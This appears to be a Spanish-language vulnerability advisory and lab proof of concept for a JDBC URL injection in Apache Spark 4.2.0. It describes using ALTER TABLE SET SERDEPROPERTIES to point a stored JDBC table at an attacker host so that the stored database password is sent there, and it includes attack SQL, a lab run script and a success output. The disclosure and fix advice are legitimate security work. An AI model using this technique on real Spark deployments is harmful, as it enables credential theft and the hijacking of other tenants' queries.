
Apache Spark 4.2.0 - Alta - Remota - Inyección de URL JDBC - ALTER TABLE SET SERDEPROPERTIES
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · spark-jdbc-serde-url
Análisis: https://abraxaslabs.tech/research/spark-jdbc-serde-url
Clase: inyección de URL JDBC Alcance: remoto
Apache Spark 4.2.0 (32f72996) - Apache Software Foundation
SPARK-31710 impidió que las opciones adicionales en tiempo de escaneo sobrescribieran una url JDBC almacenada. ALTER TABLE SET SERDEPROPERTIES todavía se fusiona en storage.properties, que es el mapa de opciones de escaneo JDBC. Los user / password almacenados no son nombres de opciones de Spark JDBC, por lo que viajan a la nueva URL.
Un usuario SQL de catálogo compartido puede redirigir una tabla USING jdbc aprovisionada por el operador y reenviar la contraseña de base de datos almacenada a un host que elija.
| ID | aún sin CVE |
| Clase | inyección de URL JDBC / reutilización de credenciales almacenadas (residuo de SPARK-31710) |
| Alcance | Remoto (Connect o Hive Thrift SQL sobre un catálogo compartido) |
| CWE | CWE-15, CWE-522 |
| CVSS | Alto: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
| Producto | Apache Spark |
| Afectado | 4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) tablas JDBC de SQL v1 |
| Autenticación | usuario SQL de catálogo compartido (no un jar enviado como job) |
| Licencia | GNU Affero GPL v3.0 |
| Laboratorio | solo 127.0.0.1:18960 |
Una sesión SQL gRPC de Connect o una sesión SQL de Hive Thrift sobre un externalCatalog compartido que ya tiene una tabla persistente USING jdbc con credenciales almacenadas. No es un emisor de jobs. No es la sesión que nombró la URL original.
| Método | Destino | Privilegio |
|---|---|---|
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') y luego REFRESH TABLE t / SELECT | storage.properties ++ serdeProperties y luego JDBC Driver.connect(url, properties) | Integridad: redirigir la tabla aprovisionada a un listener del atacante. Probado en laboratorio (connect=yes). Confidencialidad: reenviar el user / password de base de datos almacenados en el arranque de PostgreSQL y la autenticación en texto claro. Probado en laboratorio (user-replay=true password-replay=true). El reconocimiento del secreto mediante SHOW CREATE está cerrado (redactado). |
La misma persistencia, con un SELECT posterior de otro inquilino sobre t | fila del catálogo compartido | Integridad, inferido: las consultas de otras sesiones contra t ahora llegan a la nueva URL (base de datos equivocada, filas controladas por el atacante). Disponibilidad, inferido: la base de datos original es inalcanzable hasta que un administrador restablezca el serde. Fuera del umbral para DoS. |
Claves serde adicionales (sessionInitStatement, prepareQuery, driver) | opciones de escaneo sobre el user / password residuales | Integridad, inferido: sentencias adicionales o un constructor sin argumentos de Driver en el classpath. No inflar a RCE sin un gadget en el classpath por defecto. No ejercitado. |
ALTER TABLE SET TBLPROPERTIES | solo CatalogTable.properties | Cerrado para este recorrido. Probado en laboratorio (url de storage sin cambios, sin impacto en el oráculo). |
Colisión de la opción adicional url en tiempo de escaneo | SPARK-31710 generateDatasourceOptions | Cerrado. Probado en laboratorio (extra-options-clash rechazado). |
spark.read.format("jdbc").option("url", ...) nombrado por la misma sesión | plano de datos previsto | DESCARTADO. La URL controlada por el propietario no es este residuo. |
SET SERDE '<class>' sobre una tabla de origen de datos | nombre de clase | Cerrado (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE). No ejercitado. |
Adyacente cerrado: JDBC con nombre de sesión / rutas de archivo. Comprobación de conflicto de spark.sql.legacy.extraOptionsBehavior. OSS Spark no tiene externalOptionsAllowList de Unity. La URL de CREATE TABLE está controlada por el propietario (no es este remanente). La redacción de la URL de JDBC en los logs es incondicional. El path de la tabla de archivo reside en locationUri. Las conexiones de JDBCTableCatalog provienen de la conf del catálogo de sesión (mismo plano de datos que elegir una URL). Un pyspark de un solo usuario sin catálogo compartido queda fuera del modelo.
Fijé Spark 4.2.0, no master ni una RC de 4.3. El envío de trabajos en un clúster abierto es por diseño. Los remanentes interesantes están junto a correcciones con nombre. SPARK-31710 / generateDatasourceOptions rechaza una url distinta en tiempo de escaneo para una clave serde existente. SET TBLPROPERTIES escribe solo table.properties. Las tablas de origen de datos siguen permitiendo SET SERDEPROPERTIES y se fusionan en storage.properties (++, las claves posteriores ganan). user y password nunca entran en jdbcOptionNames, por lo que asConnectionProperties se los entrega a Driver.connect.
properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)
SHOW CREATE redacta password. El usuario SQL no puede leer el secreto de vuelta. Aún puede aprovecharlo.
Errores ya registrados: tratar la url de CREATE TABLE como el bug; registrar de nuevo el conflicto de opciones extra; esperar que SET TBLPROPERTIES mueva el almacenamiento; afirmar que SHOW CREATE filtra la contraseña; ejecutar un clúster completo cuando el Scala citado es un gadget; una reverse shell. El oráculo es un arranque de PostgreSQL más autenticación en texto claro en loopback.
cd lab
./run.sh
El bucle invertido 127.0.0.1:18960 es un listener del protocolo PostgreSQL. El estado de salud HTTP está en 127.0.0.1:18961. El contenedor gadget es Temurin 21 más libpostgresql-jdbc-java. La URL almacenada es jdbc:postgresql://127.0.0.1:1/provisioned (conexión rechazada). La URL de ataque es jdbc:postgresql://oracle:18960/stolen. Usuario almacenado spark_jdbc. Contraseña almacenada stored-secret-SPARK-JDBC-SERDE-URL. Vincúlalo al bucle invertido.
SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS
Rechazar las claves de SET SERDEPROPERTIES que entren en conflicto con el url / user / password de JDBC almacenados, la misma comprobación que generateDatasourceOptions ya ejecuta para los extras en tiempo de escaneo. O descartar el user / password almacenados cuando cambia el url. O tratar el serde JDBC del datasource como propiedades de tabla, no como almacenamiento. Hasta entonces, no conceder ALTER TABLE de SQL no confiable sobre una tabla persistente USING jdbc que almacena una contraseña.